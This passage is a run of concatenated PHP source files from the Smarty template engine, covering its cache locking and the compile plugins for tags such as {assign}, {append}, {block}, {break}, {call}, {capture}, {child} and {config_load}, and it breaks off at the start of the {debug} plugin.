            return $t && (time() - $t < $smarty->locking_timeout);
        } else {
            return false;
        }
    }

    /**
     * Lock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function acquireLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = true;
        touch($cached->lock_id);
    }

    /**
     * Unlock cache for this template
     *
     * @param Smarty                 $smarty Smarty object
     * @param Smarty_Template_Cached $cached cached object
     *
     * @return bool|void
     */
    public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
    {
        $cached->is_locked = false;
        @unlink($cached->lock_id);
    }
}
<?php
/**
 * Smarty Internal Plugin CompileBase
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * This class does extend all internal compile plugins
 *
 * @package    Smarty
 * @subpackage Compiler
 */
abstract class Smarty_Internal_CompileBase
{
    /**
     * Array of names of required attribute required by tag
     *
     * @var array
     */
    public $required_attributes = array();

    /**
     * Array of names of optional attribute required by tag
     * use array('_any') if there is no restriction of attributes names
     *
     * @var array
     */
    public $optional_attributes = array();

    /**
     * Shorttag attribute order defined by its names
     *
     * @var array
     */
    public $shorttag_order = array();

    /**
     * Array of names of valid option flags
     *
     * @var array
     */
    public $option_flags = array('nocache');

    /**
     * Mapping array for boolean option value
     *
     * @var array
     */
    public $optionMap = array(1 => true, 0 => false, 'true' => true, 'false' => false);

    /**
     * Mapping array with attributes as key
     *
     * @var array
     */
    public $mapCache = array();

    /**
     * This function checks if the attributes passed are valid
     * The attributes passed for the tag to compile are checked against the list of required and
     * optional attributes. Required attributes must be present. Optional attributes are check against
     * the corresponding list. The keyword '_any' specifies that any attribute will be accepted
     * as valid
     *
     * @param object $compiler   compiler object
     * @param array  $attributes attributes applied to the tag
     *
     * @return array  of mapped attributes for further processing
     */
    public function getAttributes($compiler, $attributes)
    {
        $_indexed_attr = array();
        if (!isset($this->mapCache[ 'option' ])) {
            $this->mapCache[ 'option' ] = array_fill_keys($this->option_flags, true);
        }
        foreach ($attributes as $key => $mixed) {
            // shorthand ?
            if (!is_array($mixed)) {
                // option flag ?
                if (isset($this->mapCache[ 'option' ][ trim($mixed, '\'"') ])) {
                    $_indexed_attr[ trim($mixed, '\'"') ] = true;
                    // shorthand attribute ?
                } elseif (isset($this->shorttag_order[ $key ])) {
                    $_indexed_attr[ $this->shorttag_order[ $key ] ] = $mixed;
                } else {
                    // too many shorthands
                    $compiler->trigger_template_error('too many shorthand attributes', null, true);
                }
                // named attribute
            } else {
                foreach ($mixed as $k => $v) {
                    // option flag?
                    if (isset($this->mapCache[ 'option' ][ $k ])) {
                        if (is_bool($v)) {
                            $_indexed_attr[ $k ] = $v;
                        } else {
                            if (is_string($v)) {
                                $v = trim($v, '\'" ');
                            }
                            if (isset($this->optionMap[ $v ])) {
                                $_indexed_attr[ $k ] = $this->optionMap[ $v ];
                            } else {
                                $compiler->trigger_template_error(
                                    "illegal value '" . var_export($v, true) .
                                    "' for option flag '{$k}'",
                                    null,
                                    true
                                );
                            }
                        }
                        // must be named attribute
                    } else {
                        $_indexed_attr[ $k ] = $v;
                    }
                }
            }
        }
        // check if all required attributes present
        foreach ($this->required_attributes as $attr) {
            if (!isset($_indexed_attr[ $attr ])) {
                $compiler->trigger_template_error("missing '{$attr}' attribute", null, true);
            }
        }
        // check for not allowed attributes
        if ($this->optional_attributes !== array('_any')) {
            if (!isset($this->mapCache[ 'all' ])) {
                $this->mapCache[ 'all' ] =
                    array_fill_keys(
                        array_merge(
                            $this->required_attributes,
                            $this->optional_attributes,
                            $this->option_flags
                        ),
                        true
                    );
            }
            foreach ($_indexed_attr as $key => $dummy) {
                if (!isset($this->mapCache[ 'all' ][ $key ]) && $key !== 0) {
                    $compiler->trigger_template_error("unexpected '{$key}' attribute", null, true);
                }
            }
        }
        // default 'false' for all option flags not set
        foreach ($this->option_flags as $flag) {
            if (!isset($_indexed_attr[ $flag ])) {
                $_indexed_attr[ $flag ] = false;
            }
        }
        if (isset($_indexed_attr[ 'nocache' ]) && $_indexed_attr[ 'nocache' ]) {
            $compiler->tag_nocache = true;
        }
        return $_indexed_attr;
    }

    /**
     * Push opening tag name on stack
     * Optionally additional data can be saved on stack
     *
     * @param object $compiler compiler object
     * @param string $openTag  the opening tag's name
     * @param mixed  $data     optional data saved
     */
    public function openTag($compiler, $openTag, $data = null)
    {
        array_push($compiler->_tag_stack, array($openTag, $data));
    }

    /**
     * Pop closing tag
     * Raise an error if this stack-top doesn't match with expected opening tags
     *
     * @param object       $compiler    compiler object
     * @param array|string $expectedTag the expected opening tag names
     *
     * @return mixed        any type the opening tag's name or saved data
     */
    public function closeTag($compiler, $expectedTag)
    {
        if (count($compiler->_tag_stack) > 0) {
            // get stacked info
            list($_openTag, $_data) = array_pop($compiler->_tag_stack);
            // open tag must match with the expected ones
            if (in_array($_openTag, (array)$expectedTag)) {
                if (is_null($_data)) {
                    // return opening tag
                    return $_openTag;
                } else {
                    // return restored data
                    return $_data;
                }
            }
            // wrong nesting of tags
            $compiler->trigger_template_error("unclosed '{$compiler->smarty->left_delimiter}{$_openTag}{$compiler->smarty->right_delimiter}' tag");
            return;
        }
        // wrong nesting of tags
        $compiler->trigger_template_error('unexpected closing tag', null, true);
        return;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Append
 * Compiles the {append} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Append Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Append extends Smarty_Internal_Compile_Assign
{
    /**
     * Compiles code for the {append} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // the following must be assigned at runtime because it will be overwritten in parent class
        $this->required_attributes = array('var', 'value');
        $this->shorttag_order = array('var', 'value');
        $this->optional_attributes = array('scope', 'index');
        $this->mapCache = array();
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        // map to compile assign attributes
        if (isset($_attr[ 'index' ])) {
            $_params[ 'smarty_internal_index' ] = '[' . $_attr[ 'index' ] . ']';
            unset($_attr[ 'index' ]);
        } else {
            $_params[ 'smarty_internal_index' ] = '[]';
        }
        $_new_attr = array();
        foreach ($_attr as $key => $value) {
            $_new_attr[] = array($key => $value);
        }
        // call compile assign
        return parent::compile($_new_attr, $compiler, $_params);
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Assign
 * Compiles the {assign} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Assign Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Assign extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array('nocache', 'noscope');

    /**
     * Valid scope names
     *
     * @var array
     */
    public $valid_scopes = array(
        'local'    => Smarty::SCOPE_LOCAL, 'parent' => Smarty::SCOPE_PARENT,
        'root'     => Smarty::SCOPE_ROOT, 'global' => Smarty::SCOPE_GLOBAL,
        'tpl_root' => Smarty::SCOPE_TPL_ROOT, 'smarty' => Smarty::SCOPE_SMARTY
    );

    /**
     * Compiles code for the {assign} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // the following must be assigned at runtime because it will be overwritten in Smarty_Internal_Compile_Append
        $this->required_attributes = array('var', 'value');
        $this->shorttag_order = array('var', 'value');
        $this->optional_attributes = array('scope');
        $this->mapCache = array();
        $_nocache = false;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        // nocache ?
        if ($_var = $compiler->getId($_attr[ 'var' ])) {
            $_var = "'{$_var}'";
        } else {
            $_var = $_attr[ 'var' ];
        }
        if ($compiler->tag_nocache || $compiler->nocache) {
            $_nocache = true;
            // create nocache var to make it know for further compiling
            $compiler->setNocacheInVariable($_attr[ 'var' ]);
        }
        // scope setup
        if ($_attr[ 'noscope' ]) {
            $_scope = -1;
        } else {
            $_scope = $compiler->convertScope($_attr, $this->valid_scopes);
        }
        // optional parameter
        $_params = '';
        if ($_nocache || $_scope) {
            $_params .= ' ,' . var_export($_nocache, true);
        }
        if ($_scope) {
            $_params .= ' ,' . $_scope;
        }
        if (isset($parameter[ 'smarty_internal_index' ])) {
            $output =
                "<?php \$_tmp_array = isset(\$_smarty_tpl->tpl_vars[{$_var}]) ? \$_smarty_tpl->tpl_vars[{$_var}]->value : array();\n";
            $output .= "if (!(is_array(\$_tmp_array) || \$_tmp_array instanceof ArrayAccess)) {\n";
            $output .= "settype(\$_tmp_array, 'array');\n";
            $output .= "}\n";
            $output .= "\$_tmp_array{$parameter['smarty_internal_index']} = {$_attr['value']};\n";
            $output .= "\$_smarty_tpl->_assignInScope({$_var}, \$_tmp_array{$_params});?>";
        } else {
            $output = "<?php \$_smarty_tpl->_assignInScope({$_var}, {$_attr['value']}{$_params});?>";
        }
        return $output;
    }
}
<?php
/**
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty Internal Plugin Compile Block Class
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Compile_Block extends Smarty_Internal_Compile_Shared_Inheritance
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array('hide', 'nocache');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('assign');

    /**
     * Compiles code for the {block} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        if (!isset($compiler->_cache[ 'blockNesting' ])) {
            $compiler->_cache[ 'blockNesting' ] = 0;
        }
        if ($compiler->_cache[ 'blockNesting' ] === 0) {
            // make sure that inheritance gets initialized in template code
            $this->registerInit($compiler);
            $this->option_flags = array('hide', 'nocache', 'append', 'prepend');
        } else {
            $this->option_flags = array('hide', 'nocache');
        }
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        ++$compiler->_cache[ 'blockNesting' ];
        $_className = 'Block_' . preg_replace('![^\w]+!', '_', uniqid(mt_rand(), true));
        $compiler->_cache[ 'blockName' ][ $compiler->_cache[ 'blockNesting' ] ] = $_attr[ 'name' ];
        $compiler->_cache[ 'blockClass' ][ $compiler->_cache[ 'blockNesting' ] ] = $_className;
        $compiler->_cache[ 'blockParams' ][ $compiler->_cache[ 'blockNesting' ] ] = array();
        $compiler->_cache[ 'blockParams' ][ 1 ][ 'subBlocks' ][ trim($_attr[ 'name' ], '"\'') ][] = $_className;
        $this->openTag(
            $compiler,
            'block',
            array(
                $_attr, $compiler->nocache, $compiler->parser->current_buffer,
                $compiler->template->compiled->has_nocache_code,
                $compiler->template->caching
            )
        );
        $compiler->saveRequiredPlugins(true);
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        $compiler->parser->current_buffer = new Smarty_Internal_ParseTree_Template();
        $compiler->template->compiled->has_nocache_code = false;
        $compiler->suppressNocacheProcessing = true;
    }
}

/**
 * Smarty Internal Plugin Compile BlockClose Class
 */
class Smarty_Internal_Compile_Blockclose extends Smarty_Internal_Compile_Shared_Inheritance
{
    /**
     * Compiles code for the {/block} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return bool true
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        list($_attr, $_nocache, $_buffer, $_has_nocache_code, $_caching) = $this->closeTag($compiler, array('block'));
        // init block parameter
        $_block = $compiler->_cache[ 'blockParams' ][ $compiler->_cache[ 'blockNesting' ] ];
        unset($compiler->_cache[ 'blockParams' ][ $compiler->_cache[ 'blockNesting' ] ]);
        $_name = $_attr[ 'name' ];
        $_assign = isset($_attr[ 'assign' ]) ? $_attr[ 'assign' ] : null;
        unset($_attr[ 'assign' ], $_attr[ 'name' ]);
        foreach ($_attr as $name => $stat) {
            if ((is_bool($stat) && $stat !== false) || (!is_bool($stat) && $stat !== 'false')) {
                $_block[ $name ] = 'true';
            }
        }
        $_className = $compiler->_cache[ 'blockClass' ][ $compiler->_cache[ 'blockNesting' ] ];
        // get compiled block code
        $_functionCode = $compiler->parser->current_buffer;
        // setup buffer for template function code
        $compiler->parser->current_buffer = new Smarty_Internal_ParseTree_Template();
        $output = "<?php\n";
        $output .= $compiler->cStyleComment(" {block {$_name}} ") . "\n";
        $output .= "class {$_className} extends Smarty_Internal_Block\n";
        $output .= "{\n";
        foreach ($_block as $property => $value) {
            $output .= "public \${$property} = " . var_export($value, true) . ";\n";
        }
        $output .= "public function callBlock(Smarty_Internal_Template \$_smarty_tpl) {\n";
        $output .= $compiler->compileRequiredPlugins();
        $compiler->restoreRequiredPlugins();
        if ($compiler->template->compiled->has_nocache_code) {
            $output .= "\$_smarty_tpl->cached->hashes['{$compiler->template->compiled->nocache_hash}'] = true;\n";
        }
        if (isset($_assign)) {
            $output .= "ob_start();\n";
        }
        $output .= "?>\n";
        $compiler->parser->current_buffer->append_subtree(
            $compiler->parser,
            new Smarty_Internal_ParseTree_Tag(
                $compiler->parser,
                $output
            )
        );
        $compiler->parser->current_buffer->append_subtree($compiler->parser, $_functionCode);
        $output = "<?php\n";
        if (isset($_assign)) {
            $output .= "\$_smarty_tpl->assign({$_assign}, ob_get_clean());\n";
        }
        $output .= "}\n";
        $output .= "}\n";
        $output .= $compiler->cStyleComment(" {/block {$_name}} ") . "\n\n";
        $output .= "?>\n";
        $compiler->parser->current_buffer->append_subtree(
            $compiler->parser,
            new Smarty_Internal_ParseTree_Tag(
                $compiler->parser,
                $output
            )
        );
        $compiler->blockOrFunctionCode .= $compiler->parser->current_buffer->to_smarty_php($compiler->parser);
        $compiler->parser->current_buffer = new Smarty_Internal_ParseTree_Template();
        // restore old status
        $compiler->template->compiled->has_nocache_code = $_has_nocache_code;
        $compiler->tag_nocache = $compiler->nocache;
        $compiler->nocache = $_nocache;
        $compiler->parser->current_buffer = $_buffer;
        $output = "<?php \n";
        if ($compiler->_cache[ 'blockNesting' ] === 1) {
            $output .= "\$_smarty_tpl->inheritance->instanceBlock(\$_smarty_tpl, '$_className', $_name);\n";
        } else {
            $output .= "\$_smarty_tpl->inheritance->instanceBlock(\$_smarty_tpl, '$_className', $_name, \$this->tplIndex);\n";
        }
        $output .= "?>\n";
        --$compiler->_cache[ 'blockNesting' ];
        if ($compiler->_cache[ 'blockNesting' ] === 0) {
            unset($compiler->_cache[ 'blockNesting' ]);
        }
        $compiler->has_code = true;
        $compiler->suppressNocacheProcessing = true;
        return $output;
    }
}
<?php
/**
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty Internal Plugin Compile Block Child Class
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Compile_Block_Child extends Smarty_Internal_Compile_Child
{
    /**
     * Tag name
     *
     * @var string
     */
    public $tag = 'block_child';
}
<?php
/**
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty Internal Plugin Compile Block Parent Class
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Compile_Block_Parent extends Smarty_Internal_Compile_Child
{
    /**
     * Tag name
     *
     * @var string
     */
    public $tag = 'block_parent';

    /**
     * Block type
     *
     * @var string
     */
    public $blockType = 'Parent';
}
<?php
/**
 * Smarty Internal Plugin Compile Break
 * Compiles the {break} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Break Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Break extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('levels');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('levels');

    /**
     * Tag name may be overloaded by Smarty_Internal_Compile_Continue
     *
     * @var string
     */
    public $tag = 'break';

    /**
     * Compiles code for the {break} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        list($levels, $foreachLevels) = $this->checkLevels($args, $compiler);
        $output = "<?php ";
        if ($foreachLevels > 0 && $this->tag === 'continue') {
            $foreachLevels--;
        }
        if ($foreachLevels > 0) {
            /* @var Smarty_Internal_Compile_Foreach $foreachCompiler */
            $foreachCompiler = $compiler->getTagCompiler('foreach');
            $output .= $foreachCompiler->compileRestore($foreachLevels);
        }
        $output .= "{$this->tag} {$levels};?>";
        return $output;
    }

    /**
     * check attributes and return array of break and foreach levels
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return array
     * @throws \SmartyCompilerException
     */
    public function checkLevels($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        static $_is_loopy = array('for' => true, 'foreach' => true, 'while' => true, 'section' => true);
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if ($_attr[ 'nocache' ] === true) {
            $compiler->trigger_template_error('nocache option not allowed', null, true);
        }
        if (isset($_attr[ 'levels' ])) {
            if (!is_numeric($_attr[ 'levels' ])) {
                $compiler->trigger_template_error('level attribute must be a numeric constant', null, true);
            }
            $levels = $_attr[ 'levels' ];
        } else {
            $levels = 1;
        }
        $level_count = $levels;
        $stack_count = count($compiler->_tag_stack) - 1;
        $foreachLevels = 0;
        $lastTag = '';
        while ($level_count > 0 && $stack_count >= 0) {
            if (isset($_is_loopy[ $compiler->_tag_stack[ $stack_count ][ 0 ] ])) {
                $lastTag = $compiler->_tag_stack[ $stack_count ][ 0 ];
                if ($level_count === 0) {
                    break;
                }
                $level_count--;
                if ($compiler->_tag_stack[ $stack_count ][ 0 ] === 'foreach') {
                    $foreachLevels++;
                }
            }
            $stack_count--;
        }
        if ($level_count !== 0) {
            $compiler->trigger_template_error("cannot {$this->tag} {$levels} level(s)", null, true);
        }
        if ($lastTag === 'foreach' && $this->tag === 'break' && $foreachLevels > 0) {
            $foreachLevels--;
        }
        return array($levels, $foreachLevels);
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Function_Call
 * Compiles the calls of user defined tags defined by {function}
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Function_Call Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Call extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles the calls of user defined tags defined by {function}
     *
     * @param array  $args     array with attributes from parser
     * @param object $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        // save possible attributes
        if (isset($_attr[ 'assign' ])) {
            // output will be stored in a smarty variable instead of being displayed
            $_assign = $_attr[ 'assign' ];
        }
        //$_name = trim($_attr['name'], "''");
        $_name = $_attr[ 'name' ];
        unset($_attr[ 'name' ], $_attr[ 'assign' ], $_attr[ 'nocache' ]);
        // set flag (compiled code of {function} must be included in cache file
        if (!$compiler->template->caching || $compiler->nocache || $compiler->tag_nocache) {
            $_nocache = 'true';
        } else {
            $_nocache = 'false';
        }
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        $_params = 'array(' . implode(',', $_paramsArray) . ')';
        //$compiler->suppressNocacheProcessing = true;
        // was there an assign attribute
        if (isset($_assign)) {
            $_output =
                "<?php ob_start();\n\$_smarty_tpl->smarty->ext->_tplFunction->callTemplateFunction(\$_smarty_tpl, {$_name}, {$_params}, {$_nocache});\n\$_smarty_tpl->assign({$_assign}, ob_get_clean());?>\n";
        } else {
            $_output =
                "<?php \$_smarty_tpl->smarty->ext->_tplFunction->callTemplateFunction(\$_smarty_tpl, {$_name}, {$_params}, {$_nocache});?>\n";
        }
        return $_output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Capture
 * Compiles the {capture} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Capture Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Capture extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('name', 'assign', 'append');

    /**
     * Compiles code for the {$smarty.capture.xxx}
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     */
    public static function compileSpecialVariable(
        $args,
        Smarty_Internal_TemplateCompilerBase $compiler,
        $parameter = null
    ) {
        return '$_smarty_tpl->smarty->ext->_capture->getBuffer($_smarty_tpl' .
               (isset($parameter[ 1 ]) ? ", {$parameter[ 1 ]})" : ')');
    }

    /**
     * Compiles code for the {capture} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     * @param null                                  $parameter
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter = null)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args, $parameter, 'capture');
        $buffer = isset($_attr[ 'name' ]) ? $_attr[ 'name' ] : "'default'";
        $assign = isset($_attr[ 'assign' ]) ? $_attr[ 'assign' ] : 'null';
        $append = isset($_attr[ 'append' ]) ? $_attr[ 'append' ] : 'null';
        $compiler->_cache[ 'capture_stack' ][] = array($compiler->nocache);
        // maybe nocache because of nocache variables
        $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        $_output = "<?php \$_smarty_tpl->smarty->ext->_capture->open(\$_smarty_tpl, $buffer, $assign, $append);?>";
        return $_output;
    }
}

/**
 * Smarty Internal Plugin Compile Captureclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_CaptureClose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/capture} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     * @param null                                  $parameter
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args, $parameter, '/capture');
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        list($compiler->nocache) = array_pop($compiler->_cache[ 'capture_stack' ]);
        return "<?php \$_smarty_tpl->smarty->ext->_capture->close(\$_smarty_tpl);?>";
    }
}
<?php
/**
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty Internal Plugin Compile Child Class
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Compile_Child extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('assign');

    /**
     * Tag name
     *
     * @var string
     */
    public $tag = 'child';

    /**
     * Block type
     *
     * @var string
     */
    public $blockType = 'Child';

    /**
     * Compiles code for the {child} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $tag = isset($parameter[ 0 ]) ? "'{$parameter[0]}'" : "'{{$this->tag}}'";
        if (!isset($compiler->_cache[ 'blockNesting' ])) {
            $compiler->trigger_template_error(
                "{$tag} used outside {block} tags ",
                $compiler->parser->lex->taglineno
            );
        }
        $compiler->has_code = true;
        $compiler->suppressNocacheProcessing = true;
        if ($this->blockType === 'Child') {
            $compiler->_cache[ 'blockParams' ][ $compiler->_cache[ 'blockNesting' ] ][ 'callsChild' ] = 'true';
        }
        $_assign = isset($_attr[ 'assign' ]) ? $_attr[ 'assign' ] : null;
        $output = "<?php \n";
        if (isset($_assign)) {
            $output .= "ob_start();\n";
        }
        $output .= '$_smarty_tpl->inheritance->call' . $this->blockType . '($_smarty_tpl, $this' .
                   ($this->blockType === 'Child' ? '' : ", {$tag}") . ");\n";
        if (isset($_assign)) {
            $output .= "\$_smarty_tpl->assign({$_assign}, ob_get_clean());\n";
        }
        $output .= "?>\n";
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Config Load
 * Compiles the {config load} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Config Load Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Config_Load extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('file');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('file', 'section');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('section', 'scope');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array('nocache', 'noscope');

    /**
     * Valid scope names
     *
     * @var array
     */
    public $valid_scopes = array(
        'local'  => Smarty::SCOPE_LOCAL, 'parent' => Smarty::SCOPE_PARENT,
        'root'   => Smarty::SCOPE_ROOT, 'tpl_root' => Smarty::SCOPE_TPL_ROOT,
        'smarty' => Smarty::SCOPE_SMARTY, 'global' => Smarty::SCOPE_SMARTY
    );

    /**
     * Compiles code for the {config_load} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if ($_attr[ 'nocache' ] === true) {
            $compiler->trigger_template_error('nocache option not allowed', null, true);
        }
        // save possible attributes
        $conf_file = $_attr[ 'file' ];
        if (isset($_attr[ 'section' ])) {
            $section = $_attr[ 'section' ];
        } else {
            $section = 'null';
        }
        // scope setup
        if ($_attr[ 'noscope' ]) {
            $_scope = -1;
        } else {
            $_scope = $compiler->convertScope($_attr, $this->valid_scopes);
        }
        // create config object
        $_output =
            "<?php\n\$_smarty_tpl->smarty->ext->configLoad->_loadConfigFile(\$_smarty_tpl, {$conf_file}, {$section}, {$_scope});\n?>\n";
        return $_output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Continue
 * Compiles the {continue} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Continue Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Continue extends Smarty_Internal_Compile_Break
{
    /**
     * Tag name
     *
     * @var string
     */
    public $tag = 'continue';
}
<?php
/**
 * Smarty Internal Plugin Compile Debug
 * Compiles the {debug} tag.
 * It opens a window the the Smarty Debugging Console.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
